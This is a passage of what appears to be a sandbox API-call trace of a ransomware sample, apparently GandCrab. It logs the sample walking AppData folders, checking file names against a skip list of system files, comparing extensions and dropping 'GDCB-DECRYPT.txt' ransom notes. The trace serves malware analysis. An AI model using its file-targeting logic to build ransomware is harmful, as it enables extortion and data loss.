lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 98 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.889] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.889] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.889] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.889] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0169.889] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0169.889] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles" [0169.889] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\" [0169.889] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.889] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.889] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.889] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.889] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.889] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.889] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\") returned 91 [0169.889] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*" [0169.890] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4d18 [0169.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.890] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.890] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.890] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.890] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.890] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.890] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0169.890] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 107 [0169.890] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.890] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.890] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0169.890] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0169.890] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0169.890] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 101 [0169.890] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0169.890] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.890] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0169.890] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0169.890] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0169.890] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 100 [0169.890] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0169.890] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.890] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.890] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.890] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 108 [0169.890] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.891] GetLastError () returned 0x50 [0169.891] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.891] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\") returned 91 [0169.891] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*" [0169.891] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4e58 [0169.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.891] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.891] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.891] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.891] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.891] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0169.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.892] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 107 [0169.892] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 107 [0169.892] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 107 [0169.892] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 107 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.892] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.892] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.892] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0169.892] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0169.892] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0169.892] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.892] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 101 [0169.892] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 101 [0169.892] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.892] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.892] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0169.892] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0169.892] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0169.892] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.893] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 100 [0169.893] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 100 [0169.893] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.893] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.893] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.893] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.893] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.893] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.893] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.893] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.893] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0169.893] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.893] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 92 [0169.893] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 92 [0169.893] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 92 [0169.893] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 92 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.893] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.894] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.894] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.894] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0169.894] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.894] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.894] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.894] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.894] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data" [0169.894] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\" [0169.894] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.894] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.894] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\") returned 87 [0169.894] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\*" [0169.894] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5a4d18 [0169.894] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.894] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe") returned 92 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data") returned 103 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\CEF" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\CEF") returned 90 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Comms" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Comms") returned 92 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 103 [0169.895] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Google" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Google") returned 93 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\History" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\History") returned 94 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\IconCache.db" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\IconCache.db") returned 99 [0169.895] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft") returned 96 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, 